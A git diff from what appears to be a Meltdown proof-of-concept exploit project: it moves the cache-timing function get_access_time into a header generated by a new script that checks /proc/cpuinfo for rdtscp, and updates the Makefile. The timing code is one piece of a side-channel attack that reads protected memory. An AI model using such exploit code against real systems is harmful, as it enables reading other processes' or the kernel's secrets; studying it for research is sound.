diff --git a/.gitignore b/.gitignore index 5bba556..d6424b2 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,3 @@ meltdown *.o +rdtscp.h diff --git a/Makefile b/Makefile index 4406291..4c1e6c1 100644 --- a/Makefile +++ b/Makefile @@ -3,7 +3,12 @@ CFLAGS += -O2 -msse2 all: meltdown +meltdown.o: rdtscp.h + meltdown: meltdown.o +rdtscp.h: detect_rdtscp.sh + ./detect_rdtscp.sh >$@ + clean: - rm -f meltdown.o meltdown + rm -f meltdown.o meltdown rdtscp.h diff --git a/detect_rdtscp.sh b/detect_rdtscp.sh new file mode 100755 index 0000000..123a6d4 --- /dev/null +++ b/detect_rdtscp.sh @@ -0,0 +1,28 @@ +#!/bin/sh + +cat <<-'EOF' + static inline int + get_access_time(volatile char *addr) + { + unsigned long long time1, time2; +EOF + +if grep -q rdtscp /proc/cpuinfo; then + cat <<-'EOF' + unsigned junk; + time1 = __rdtscp(&junk); + (void)*addr; + time2 = __rdtscp(&junk); + EOF +else + cat <<-'EOF' + time1 = __rdtsc(); + (void)*addr; + _mm_mfence(); + time2 = __rdtsc(); + EOF +fi +cat <<-'EOF' + return time2 - time1; + } +EOF diff --git a/meltdown.c b/meltdown.c index e4d3902..2033999 100644 --- a/meltdown.c +++ b/meltdown.c @@ -10,12 +10,10 @@ #include +#include "rdtscp.h" + //#define DEBUG 1 -/* comment out if getting illegal insctructions error */ -#ifndef HAVE_RDTSCP -# define HAVE_RDTSCP 1 -#endif #if !(defined(__x86_64__) || defined(__i386__)) # error "Only x86-64 and i386 are supported at the moment" @@ -86,25 +84,6 @@ speculate(unsigned long addr) #endif } -static inline int -get_access_time(volatile char *addr) -{ - int time1, time2, junk; - volatile int j; - -#if HAVE_RDTSCP - time1 = __rdtscp(&junk); - j = *addr; - time2 = __rdtscp(&junk); -#else - time1 = __rdtsc(); - j = *addr; - _mm_mfence(); - time2 = __rdtsc(); -#endif - - return time2 - time1; -} static int cache_hit_threshold; static int hist[VARIANTS_READ];